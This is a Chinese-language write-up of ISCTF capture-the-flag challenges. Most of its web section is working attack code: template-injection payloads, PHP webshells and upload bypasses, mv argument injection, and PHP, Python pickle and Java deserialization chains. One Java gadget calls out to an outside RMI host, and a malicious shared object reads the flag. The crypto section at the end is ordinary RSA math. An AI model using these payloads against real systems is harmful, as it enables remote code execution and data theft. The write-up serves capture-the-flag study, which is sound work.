WEB

难过的bottle

bottle框架的template SSTI

{{ __import__('\157\163').popen('\143\141\164\040\057\146\154\141\147').read() }}

b@by n0t1ce b0ard

image.png

注册头像传个php即可
image.png

路径是/images/邮箱/文件名
image.png

image.png

whoami

nm等半天 靶机才打开,得排队说是
登录劫持type为0 可以查看源码

from flask import Flask,request,render_template,redirect,url_for
import json
import pydash

app=Flask(__name__)

database={}
data_index=0
name=''

@app.route('/',methods=['GET'])
def index():
    return render_template('login.html')

@app.route('/register',methods=['GET'])
def register():
    return render_template('register.html')

@app.route('/registerV2',methods=['POST'])
def registerV2():
    username=request.form['username']
    password=request.form['password']
    password2=request.form['password2']
    if password!=password2:
        return '''
        <script>
        alert('前后密码不一致,请确认后重新输入。');
        window.location.href='/register';
        </script>
        '''
    else:
        global data_index
        data_index+=1
        database[data_index]=username
        database[username]=password
        return redirect(url_for('index'))

@app.route('/user_dashboard',methods=['GET'])
def user_dashboard():
    return render_template('dashboard.html')

@app.route('/272e1739b89da32e983970ece1a086bd',methods=['GET'])
def A272e1739b89da32e983970ece1a086bd():
    return render_template('admin.html')

@app.route('/operate',methods=['GET'])
def operate():
    username=request.args.get('username')
    password=request.args.get('password')
    confirm_password=request.args.get('confirm_password')
    if username in globals() and "old" not in password:
        Username=globals()[username]
        try:
            pydash.set_(Username,password,confirm_password)
            return "oprate success"
        except:
            return "oprate failed"
    else:
        return "oprate failed"

@app.route('/user/name',methods=['POST'])
def name():
    return {'username':user}

def logout():
    return redirect(url_for('index'))

@app.route('/reset',methods=['POST'])
def reset():
    old_password=request.form['old_password']
    new_password=request.form['new_password']
    if user in database and database[user] == old_password:
        database[user]=new_password
        return '''
        <script>
        alert('密码修改成功,请重新登录。');
        window.location.href='/';
        </script>
        '''
    else:
        return '''
        <script>
        alert('密码修改失败,请确认旧密码是否正确。');
        window.location.href='/user_dashboard';
        </script>
        '''

@app.route('/impression',methods=['GET'])
def impression():
    point=request.args.get('point')
    if len(point) > 5:
        return "Invalid request"
    List=["{","}",".","%","<",">","_"]
    for i in point:
        if i in List:
            return "Invalid request"
    return render_template(point)

@app.route('/login',methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    type=request.form['type']
    if username in database and database[username] != password:
        return '''
        <script>
        alert('用户名或密码错误请重新输入。');
        window.location.href='/';
        </script>
        '''
    elif username not in database:
        return '''
        <script>
        alert('用户名或密码错误请重新输入。');
        window.location.href='/';
        </script>
        '''
    else:
        global name
        name=username    
        if int(type)==1:
            return redirect(url_for('user_dashboard'))
        elif int(type)==0:
            return redirect(url_for('A272e1739b89da32e983970ece1a086bd'))

if __name__=='__main__':
    app.run(host='0.0.0.0',port=8080,debug=False)
def operate():
    username=request.args.get('username')
    password=request.args.get('password')
    confirm_password=request.args.get('confirm_password')
    if username in globals() and "old" not in password:
        Username=globals()[username]
        try:
            pydash.set_(Username,password,confirm_password)
            return "oprate success"
        except:
            return "oprate failed"
    else:
        return "oprate failed"

可以通过usernmae控制global属性

可以通过修改静态文件目录为/
直接可以读flag
想修改template_folder发现不能出现old,于是修改jinja_loader.searchpath
Jinja loader 是个文件系统 loader,能让你注入新的模板搜索路径。其中第1个元素是
./templates路径
然后修改app属性
pydash使用.表示属性路径

http://challenge.bluesharkinfo.com:24388/operate?username=app&password=jinja_loader.searchpath.0&confirm_password=/
http://challenge.bluesharkinfo.com:24388/impression?point=flag

flag到底在哪

开局一个403,直接访问robots.txt

User-agent: *
Disallow: /admin/login.php

image.png

提示username为 admin爆破密码?爆破不出来。sql注入?不是,下一题才是SQL

image.png
偶然尝试发现会检测密码是不是' OR '1'='1 sb

所以可以用' OR '1'='1登录


文件上传

没过滤直接传

<?php system($_GET[1]);

image.png

Bypass

<?php
class FLAG
{
    private $a;
    protected $b;
    public function __construct($a, $b)
        {
            $this->a = $a;
            $this->b = $b;
            $this->check($a,$b);
            eval($a.$b);
        }
    public function __destruct(){
            $a = (string)$this->a;
            $b = (string)$this->b;
            if ($this->check($a,$b)){
                $a("", $b);
            }
            else{
                echo "Try again!";
            }
        }
    private function check($a, $b) {
        $blocked_a = ['eval', 'dl', 'ls', 'p', 'escape', 'er', 'str', 'cat', 'flag', 'file', 'ay', 'or', 'ftp', 'dict', '\.\.', 'h', 'w', 'exec', 's', 'open'];
        $blocked_b = ['find', 'filter', 'c', 'pa', 'proc', 'dir', 'regexp', 'n', 'alter', 'load', 'grep', 'o', 'file', 't', 'w', 'insert', 'sort', 'h', 'sy', '\.\.', 'array', 'sh', 'touch', 'e', 'php', 'f'];

        $pattern_a = '/' . implode('|', array_map('preg_quote', $blocked_a, ['/'])) . '/i';
        $pattern_b = '/' . implode('|', array_map('preg_quote', $blocked_b, ['/'])) . '/i';

        if (preg_match($pattern_a, $a) || preg_match($pattern_b, $b)) {
            return false;
        }
        return true;
    }  
}


if (isset($_GET['exp'])) {
    $p = unserialize($_GET['exp']);
    var_dump($p);
}else{
    highlight_file("index.php");
}

使用create_function
黑名单字符可以有取反绕过

<?php
class FLAG
{
    private $a;
    protected $b;

    public function __construct($a, $b)
    {
        $this->a = $a;
        $this->b = $b;
    }
}
$sys = ~"system"; 
$cmd = ~"cat /flag";
$payload_code = '}$i=(~"'.$sys.'");$i(~"'.$cmd.'");/*';
$obj = new FLAG("create_function", $payload_code);
$serialized = serialize($obj);
echo  urlencode($serialized);
?>

ezrce

 <?php
highlight_file(__FILE__);

if(isset($_GET['code'])){
    $code = $_GET['code'];
    if (preg_match('/^[A-Za-z\(\)_;]+$/', $code)) {
        eval($code);
    }else{
        die('师傅,你想拿flag?');
    }
} 
http://challenge.bluesharkinfo.com:24119?code=eval(end(current(get_defined_vars())));&b=system('cat /flag');

来签个到吧

<?php
class FileLogger {
    public $logfile = "/tmp/notehub.log";
    public $content = "";
}

$a=new FileLogger();
$a->logfile='/var/www/html/a.php';
$a->content='<?php system($_GET[1]);';
echo "blueshark:".serialize($a);

mv_upload

以为作者二倍让我做黑盒,后来给了提示,原来是我二倍

image.png
访问index.php~拿到源码

<?php
$uploadDir = '/tmp/upload/'; // 临时目录
$targetDir = '/var/www/html/upload/'; // 存储目录

$blacklist = [
    'php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'phps', 'pht','jsp', 'jspa', 'jspx', 'jsw', 'jsv', 'jspf', 'jtml','asp', 'aspx', 'ascx', 'ashx', 'asmx', 'cer', 'aSp', 'aSpx', 'cEr', 'pHp','shtml', 'shtm', 'stm','pl', 'cgi', 'exe', 'bat', 'sh', 'py', 'rb', 'scgi','htaccess', 'htpasswd', "php2", "html", "htm", "asa", "asax",  "swf","ini"
];

$message = '';
$filesInTmp = [];

// 创建目标目录
if (!is_dir($targetDir)) {
    mkdir($targetDir, 0755, true);
}

if (!is_dir($uploadDir)) {
    mkdir($uploadDir, 0755, true);
}

// 上传临时目录
if (isset($_POST['upload']) && !empty($_FILES['files']['name'][0])) {
    $uploadedFiles = $_FILES['files'];
    foreach ($uploadedFiles['name'] as $index => $filename) {
        if ($uploadedFiles['error'][$index] !== UPLOAD_ERR_OK) {
            $message .= "文件 {$filename} 上传失败。<br>";
            continue;
        }

        $tmpName = $uploadedFiles['tmp_name'][$index];

        $filename = trim(basename($filename));
        if ($filename === '') {
            $message .= "文件名无效,跳过。<br>";
            continue;
        }

        $fileParts = pathinfo($filename);
        $extension = isset($fileParts['extension']) ? strtolower($fileParts['extension']) : '';

        $extension = trim($extension, '.');

        if (in_array($extension, $blacklist)) {
            $message .= "文件 {$filename} 因类型不安全(.{$extension})被拒绝。<br>";
            continue;
        }

        $destination = $uploadDir . $filename;

        if (move_uploaded_file($tmpName, $destination)) {
            $message .= "文件 {$filename} 已上传至 $uploadDir$filename 。<br>";
        } else {
            $message .= "文件 {$filename} 移动失败。<br>";
        }
    }
}

// 获取临时目录中的所有文件
if (is_dir($uploadDir)) {
    $handle = opendir($uploadDir);
    if ($handle) {
        while (($file = readdir($handle)) !== false) {
            if (is_file($uploadDir . $file)) {
                $filesInTmp[] = $file;
            }
        }
        closedir($handle);
    }
}

// 处理确认上传完毕(移动文件)
if (isset($_POST['confirm_move'])) {
    if (empty($filesInTmp)) {
        $message .= "没有可移动的文件。<br>";
    } else {
        $output = [];
        $returnCode = 0;
        exec("cd $uploadDir ; mv * $targetDir 2>&1", $output, $returnCode);
        if ($returnCode === 0) {
            foreach ($filesInTmp as $file) {
                $message .= "已移动文件: {$file}$targetDir$file<br>";
            }
        } else {
            $message .= "移动文件失败: " .implode(', ', $output)."<br>";
        }
    }
}
?>

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>多文件上传服务</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 20px; }
        .container { max-width: 800px; margin: auto; }
        .alert { padding: 10px; margin: 10px 0; background: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
        .success { background: #d4edda; color: #155724; border-color: #c3e6cb; }
        ul { list-style-type: none; padding: 0; }
        li { margin: 5px 0; padding: 5px; background: #f0f0f0; }
    </style>
</head>
<body>
<div class="container">
    <h2>多文件上传服务</h2>

    <?php if ($message): ?>
        <div class="alert <?= strpos($message, '失败') ? '' : 'success' ?>">
            <?= $message ?>
        </div>
    <?php endif; ?>

    <form method="POST" enctype="multipart/form-data">
        <label for="files">选择文件:</label><br>
        <input type="file" name="files[]" id="files" multiple required>
        <button type="submit" name="upload">上传到临时目录</button>
    </form>

    <hr>

    <h3>待确认上传文件</h3>
    <?php if (empty($filesInTmp)): ?>
        <p>暂无待确认上传文件</p>
    <?php else: ?>
        <ul>
            <?php foreach ($filesInTmp as $file): ?>
                <li><?= htmlspecialchars($file) ?></li>
            <?php endforeach; ?>
        </ul>
        <form method="POST">
            <button type="submit" name="confirm_move">确认上传完毕,移动到存储目录</button>
        </form>
    <?php endif; ?>
</div>
</body>
</html>

有源码都好说

exec("cd $uploadDir ; mv * $targetDir 2>&1", $output, $returnCode);

一眼顶真可以打参数注入 ,不过还是让我看了好一会

-S, --suffix=SUFFIX override the usual backup suffix

在mv里面我看到了这个参数,可以修改备份的后缀

所以可以先传一个1.p 文件,传到/var/www/html/upload
然后再传一个名为 --suffix=hp的文件,当作参数注入
之后再传一个1.p文件,移动的时候就会把前面那个1.p文件备份成 1.php文件

image.png

flag?我就借走了

软连接秒了

Regretful_Deser

黑名单

org.apache.commons.collections
javax.swing
com.sun.rowset
com.sun.org.apache.xalan
java.security
java.rmi.MarshalledObject
javax.management.remote.rmi.RMIConnector

hibernate反序列化 12 都用不了,二次反序列也被ban了,不过hilbernate可以实现调用任意getter,那就找getter
网上搜索发现,作者写过但是把文章删了,不过还是泄露关键信息
image.png

其实他找的getter就是sun.rmi.server.ActivatableRef#getRef
image.png

image.png

可以打JRMP

package org.example.isctf;  
  
import org.hibernate.engine.spi.TypedValue;  
import org.hibernate.property.access.spi.Getter;  
import org.hibernate.property.access.spi.GetterMethodImpl;  
import org.hibernate.tuple.component.PojoComponentTuplizer;  
import org.hibernate.type.ComponentType;  
import sun.reflect.ReflectionFactory;  
import sun.rmi.server.ActivatableRef;  
import sun.rmi.server.UnicastRef;  
import sun.rmi.transport.LiveRef;  
import sun.rmi.transport.tcp.TCPEndpoint;  
  
import java.io.*;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.Field;  
import java.lang.reflect.InvocationTargetException;  
import java.lang.reflect.Proxy;  
import java.rmi.Remote;  
import java.rmi.activation.ActivationID;  
import java.rmi.activation.Activator;  
import java.rmi.registry.Registry;  
import java.rmi.server.ObjID;  
import java.rmi.server.RemoteObjectInvocationHandler;  
import java.util.HashMap;  
import java.util.Random;  
  
/**  
 * @ClassName exp1  
 * @Description  
 * @Author Xutao  
 * @Date 2025年12月04日 11:20
 * @Version 1.0  
 */public class exp1 {  
    public static void main(String[] args) throws Exception {  
  
        ObjID id = new ObjID(new Random().nextInt());  
        TCPEndpoint te = new TCPEndpoint("117.72.157.7", 1099);  
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));  
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);  
        Object proxy = Proxy.newProxyInstance(exp1.class.getClassLoader(), new Class[]{Remote.class, Activator.class}, obj);  
  
        ActivationID activationID = new ActivationID((Activator) proxy);  
  
        Class<?> refClass = Class.forName("sun.rmi.server.ActivatableRef");  
        ReflectionFactory rf = ReflectionFactory.getReflectionFactory();  
        Constructor<?> objCons = Object.class.getDeclaredConstructor();  
        Constructor<?> sc = rf.newConstructorForSerialization(refClass, objCons);  
        ActivatableRef activatableRef = (ActivatableRef) sc.newInstance();  
  
        setFieldValue(activatableRef, "id", activationID);  
  
        Class getterMethodImplClazz= Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");  
        GetterMethodImpl getterMethodImpl= (GetterMethodImpl)getObject(getterMethodImplClazz);  
        setFieldValue(getterMethodImpl, "getterMethod", refClass.getDeclaredMethod("getRef"));  
  
  
        Class pojoComponentTuplizerClass= Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");  
        PojoComponentTuplizer pojoComponentTuplizer= (PojoComponentTuplizer) getObject(pojoComponentTuplizerClass);  
        setFieldValue(pojoComponentTuplizer, "getters", new Getter[]{ getterMethodImpl });  
  
        Class componentTypeClass= Class.forName("org.hibernate.type.ComponentType");  
        ComponentType componentType= (ComponentType) getObject(componentTypeClass);  
        setFieldValue(componentType, "propertySpan", 1);  
        setFieldValue(componentType, "componentTuplizer", pojoComponentTuplizer);  
        setFieldValue(componentType, "propertyTypes", new org.hibernate.type.Type[]{(org.hibernate.type.Type) componentType});  
  
        TypedValue typedValue=new TypedValue(componentType, null);  
  
  
        HashMap<Object, Object> hashMap1 = new HashMap<>();  
        hashMap1.put(typedValue, "fuck");  
  
        setFieldValue(typedValue,"value",activatableRef);  
        serialize(hashMap1);  
        //unserialize();  
  
    }  
  
    public static void setFieldValue(Object obj, String fieldName, Object value)throws Exception {  
        Class clazz= obj.getClass();  
        while (clazz != null) {  
            try {  
                Field field= clazz.getDeclaredField(fieldName);  
                field.setAccessible(true);  
                field.set(obj,value);  
                clazz = null;  
            } catch (Exception e) {  
                clazz = clazz.getSuperclass();  
            }  
        }  
    }  
    public static Object getObject(Class clazz)throws Exception {  
        ReflectionFactory reflectionFactory= ReflectionFactory.getReflectionFactory();  
        Constructor constructor= reflectionFactory.newConstructorForSerialization(clazz,Object.class.getDeclaredConstructor());  
        constructor.setAccessible(true);  
        return constructor.newInstance();  
    }  
    public static void serialize(Object object) throws IOException {  
        ByteArrayOutputStream baos = new ByteArrayOutputStream();  
        ObjectOutputStream oos = new ObjectOutputStream(baos);  
        oos.writeObject(object);  
        oos.close();  
  
        // 获取序列化后的字节  
        byte[] bytes = baos.toByteArray();  
  
        // Base64 编码  
        String base64 = java.util.Base64.getEncoder().encodeToString(bytes);  
  
        // 输出  
        System.out.println("Base64 Payload:");  
        System.out.println(base64);  
  
        // 同时写入文件(可选)  
        FileOutputStream fos = new FileOutputStream("E:\\tao.txt");  
        fos.write(bytes);  
        fos.close();  
    }  
  
    public static  void unserialize() throws IOException, ClassNotFoundException {  
        FileInputStream fileInputStream = new FileInputStream("E:\\tao.txt");  
        ObjectInputStream objectIntputStream = new ObjectInputStream(fileInputStream);  
        objectIntputStream.readObject();  
        objectIntputStream.close();  
        fileInputStream.close();  
    }  
}

ezpop

 <?php

class begin {
    public $var1;
    public $var2;


}


class starlord {
    public $var4;
    public $var5;
    public $arg1;


}

class anna {
    public $var6;
    public $var7;


}

class eenndd {
    public $command;


}

class flaag {
    public $var10;
    public $var11="1145141919810";

    public function __invoke() {
        if (md5(md5($this->var11)) == 666) {
            return $this->var10->hey;
        }
    }
}

$a=new begin();
$a->var1=new anna();
$a->var1->var6=new starlord();
$a->var1->var6->var4=new flaag();
$a->var1->var6->var4->var11=213;
$a->var1->var6->var4->var10=new eenndd();
$a->var1->var6->var4->var10->command="passthru('t'.'ac'.chr(32).'/fl'.'ag');";
echo serialize($a);

include_upload

参考
当include邂逅phar——DeadsecCTF2025 baby-web – fushulingのblog

<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();

$stub = <<<'STUB'
<?php
    system('cat /f*');
    __HALT_COMPILER();
?>
STUB;

$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();

?>

生成一个phar,然后gzip压缩改名为1.phar.png即可

双生序列

首先是通过$Bridge进入$Shark/tmp/ssxl/run.bin里面写东西

然后再run.php反序列化$Pytools运行py文件

py会读取/tmp/ssxl/write.binpickle反序列化,注意绕过secretSet类即可

/tmp/ssxl/write.bin通过$Writer

1.将触发pytools的反序列化流写入/tmp/ssxl/run.bin

<?php

class Bridge {
    public $writer;   
    public $shark;
}

class Shark {
    public $ser = "";
}
class Cat {
}
class Pytools extends Cat {
    public $log = False;
    public $logbuf = "123";
}
$a=new  Bridge();
$a->write=new Shark();

$b =new Pytools();
$c=serialize($b);
$a->write->ser=$c;
echo serialize($a);
http://challenge.bluesharkinfo.com:23717/api.php?id=1

2.将base64 编码的pickle 字节流写入tmp/ssxl/write.bin

import pickle
from base64 import b64encode
command = "cat /flag > /tmp/ssxl/outs.txt"

class RCE:
    def __reduce__(self):
        return (__builtins__.__import__('os').system, (command,))

class Set:
    def __init__(self):
        self.secret = b""
        self.payload = pickle.dumps(RCE(), protocol=0)  

def exploit():
    set_obj = Set()
    pickled_data = pickle.dumps(set_obj, protocol=0)
    print(b64encode(pickled_data).decode())

if __name__ == "__main__":
    exploit()
<?php
class Writer {
    public $b64data ="Y2NvcHlfcmVnCl9yZWNvbnN0cnVjdG9yCnAwCihjX19tYWluX18KU2V0CnAxCmNfX2J1aWx0aW5fXwpvYmplY3QKcDIKTnRwMwpScDQKKGRwNQpWc2VjcmV0CnA2CmNfX2J1aWx0aW5fXwpieXRlcwpwNwoodFJwOApzVnBheWxvYWQKcDkKY19jb2RlY3MKZW5jb2RlCnAxMAooVmNwb3NpeFx1MDAwYXN5c3RlbVx1MDAwYXAwXHUwMDBhKFZjYXQgL2ZsYWcgPiAvdG1wL3NzeGwvb3V0cy50eHRcdTAwMGFwMVx1MDAwYXRwMlx1MDAwYVJwM1x1MDAwYS4KcDExClZsYXRpbjEKcDEyCnRwMTMKUnAxNApzYi4=";
    public $binfile = "/tmp/ssxl/write.bin"; 
	public $init = "fetch"; 
	private $secret = "";
    
}

$bridge = new Writer();
$payload = serialize($bridge);

echo "blueshark:" .$payload;
?>

image.png

http://challenge.bluesharkinfo.com:23717/api.php?id=2

最后执行py文件

http://challenge.bluesharkinfo.com:23717/run.php?action=run

load_jvav

image.png
直接读源码

if(filename.substring(filename.lastIndexOf(".")).contains("ref")){
                byte[] bytes1 = Base64.decodeBase64(bytes);

                ByteArrayInputStream bis=new ByteArrayInputStream(bytes1);


                ObjectInputStream ois = new safeSer(bis);
                ois.readObject();
                msg.setData("备份成功");
                msg.setCode(1);
                return msg;
            }

如果包含.ref后缀 base64解码然后反序列化

private static final Set<String> BLACKLIST = new HashSet<>(Arrays.asList(
            // Apache Commons Collections 相关类
            "org.apache.commons.collections.Transformer",
            "org.apache.commons.collections.functors.ChainedTransformer",
            "org.apache.commons.collections.functors.ConstantTransformer",
            "org.apache.commons.collections.functors.InvokerTransformer",
            "org.apache.commons.collections.functors.InstantiateTransformer",
            "org.apache.commons.collections.map.DefaultedMap",
            "org.apache.commons.collections.map.LazyMap",
            "org.apache.commons.collections.map.TransformedMap",

            // Commons Collections4
            "org.apache.commons.collections4.Transformer",
            "org.apache.commons.collections4.functors.ChainedTransformer",
            "org.apache.commons.collections4.functors.ConstantTransformer",
            "org.apache.commons.collections4.functors.InvokerTransformer",
            "org.apache.commons.collections4.functors.InstantiateTransformer",

            // 其他常见的危险类

            "javax.management.BadAttributeValueExpException",
            "java.rmi.server.UnicastRemoteObject",
            "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
            "com.sun.rowset.JdbcRowSetImpl",
            //解决一些非预期问题
            "springboot",
            "springframework",
            "com.fasterxml",
            "jackson",
            "org.yaml",
            "org.thymeleaf"


    ));

黑名单类

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>org.exampORRAASDASDaa</groupId>
    <artifactId>demo</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <packaging>jar</packaging>
    <name>demo</name>
    <description>demo</description>
    <properties>
        <java.version>1.8</java.version>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
        <spring-boot.version>2.6.13</spring-boot.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-thymeleaf</artifactId>
        </dependency>


        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-tomcat</artifactId>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-actuator</artifactId>
        </dependency>
    </dependencies>
    <dependencyManagement>
        <dependencies>
            <dependency>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-dependencies</artifactId>
                <version>${spring-boot.version}</version>
                <type>pom</type>
                <scope>import</scope>
            </dependency>
        </dependencies>
    </dependencyManagement>

    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <version>3.8.1</version>
                <configuration>
                    <source>1.8</source>
                    <target>1.8</target>
                    <encoding>UTF-8</encoding>
                </configuration>
            </plugin>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <configuration>
                    <source>1.8</source>
                    <target>1.8</target>
                    <compilerArgs>
                        <arg>-XDignore.symbol.file</arg>
                    </compilerArgs>
                    <fork>true</fork>
                </configuration>
            </plugin>

            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
                <version>${spring-boot.version}</version>
                <configuration>
                    <mainClass>com.example.start</mainClass>
                    <finalName>ezJava</finalName>
<!--                    <skip>true</skip>-->
                </configuration>
                <executions>
                    <execution>
                        <id>repackage</id>
                        <goals>
                            <goal>repackage</goal>
                        </goals>
                    </execution>
                </executions>
            </plugin>
        </plugins>
    </build>

</project>

依赖
不过给了个后门类

package com.example.utile;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Arrays;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Set;

public class YouFindThis implements Serializable {
    public Class<?>aClass;
    public Class argclass;
    public Object input;
    public String methed;
    public Object args;



    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ois.defaultReadObject();
        POFP();

    }


    public void POFP() {


        if(Function.check_reef(this.aClass.getName())){
            throw new SecurityException("You are not allowed to leave this class");
        }
        if(Function.check_reef(this.input.getClass().getName())){
            throw new SecurityException("You are not allowed to leave this class");
        }
        if(Function.check_reef(this.methed)){
            throw new SecurityException("You are not allowed to leave this class");
        }
        try {
            Method method = aClass.getMethod(methed,argclass);
            method.setAccessible(true);
            method.invoke(input,args);
        } catch (NoSuchMethodException e) {
            throw new RuntimeException(e);
        } catch (InvocationTargetException e) {
            throw new RuntimeException(e);
        } catch (IllegalAccessException e) {
            throw new RuntimeException(e);
        }

    }
}

可以实现任意方法调用,不过ban了一些RCE的方法不过这里可以使用System.load加载恶意so,正好也符合题目名字load_jvav

1.先生成一个恶意so上传

include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    system("cat /flag/flag.flag > /tmp/aaa");
}
gcc -shared -fPIC exp.c -o exp.so

上传
image.png

然后生成恶意反序列化payload

package com.example;

import com.example.utile.YouFindThis;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;

public class exp {
    public static void main(String[] args) throws Exception {
        YouFindThis gadget = new YouFindThis();
        gadget.aClass = java.lang.System.class;
        gadget.argclass = String.class;
        gadget.methed = "load";
        gadget.args = "/tmp/exp.so";
        
        gadget.input = "SafeString";
        
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(gadget);
        oos.close();
        byte[] payload = baos.toByteArray();
        String base64Payload = java.util.Base64.getEncoder().encodeToString(payload);

        System.out.println(base64Payload);
    }
}

文件名加上.ref触发反序列化
image.png
然后读取flag即可
image.png

Crypto

easy_RSA

扩展欧几里得

from Crypto.Util.number import long_to_bytes

# Given values
N = 17630258257080557797062320474423515967705950026415012912087655679315479168903980901728425140787005046038000068414269936806478828260848859753400786557270120330760791255046985114127285672634413513991988895166115794242018674042563788348381567565190146278040811257757119090296478610798393944581870309373529884950663990485525646200034220648901490835962964029936321155200390798215987316069871958913773199197073860062515329879288106446016695204426001393566351524023857332978260894409698596465474214898402707157933326431896629025197964209580991821222557663589475589423032130993456522178540455360695933336455068507071827928617
ct1 = 5961639119243884817956362325106436035547108981120248145301572089585639543543496627985540773185452108709958107818159430835510386993354596106366458898765597405461225798615020342640056386757104855709899089816838805631480329264128349465229327090721088394549641366346516133008681155817222994359616737681983784274513555455340301061302815102944083173679173923728968671113926376296481298323500774419099682647601977970777260084799036306508597807029122276595080580483336115458713338522372181732208078117809553781889555191883178157241590455408910096212697893247529197116309329028589569527960811338838624831855672463438531266455
ct2 = 11792054298654397865983651507912282632831471680334312509918945120797862876661899077559686851237832931501121869814783150387308320349940383857026679141830402807715397332316601439614741315278033853646418275632174160816784618982743834204997402866931295619202826633629690164429512723957241072421663170829944076753483616865208617479794763412611604625495201470161813033934476868949612651276104339747165276204945125001274777134529491152840672010010940034503257315555511274325831684793040209224816879778725612468542758777428888563266233284958660088175139114166433501743740034567850893745466521144371670962121062992082312948789
e = 65537

# Function for Extended Euclidean Algorithm
def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)

# The effective exponents are e and (N+1)
exp1 = e
exp2 = N + 1

# Find coefficients u, v such that u*e + v*(N+1) = 1
g, u, v = egcd(exp1, exp2)

# Recover message: m = ct1^u * ct2^v mod N
# Python's pow(base, exp, mod) handles negative exponents by computing modular inverse
m = (pow(ct1, u, N) * pow(ct2, v, N)) % N

print(long_to_bytes(m))
#ISCTF{Congratulations_you_master_Mathematical_ability}

Power tower

n可以分解

from Crypto.Util.number import long_to_bytes

t = 6039738711082505929
n = 107502945843251244337535082460697583639357473016005252008262865481138355040617
c = 114092817888610184061306568177474033648737936326143099257250807529088213565247

p = 127
q = 841705194007
r = 1005672644717572752052474808610481144121914956393489966622615553
phi = (p - 1) * (q - 1) * (r - 1)

E = pow(2, t, phi) 
l = pow(2, E, n)   

flag_int = c ^ l
flag = long_to_bytes(flag_int)

print(flag)
#ISCTF{Euler_1s_v3ry|useful!!!!!}

小蓝鲨的LFSR系统

import binascii

# 1. 数据准备
initState = [0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0]
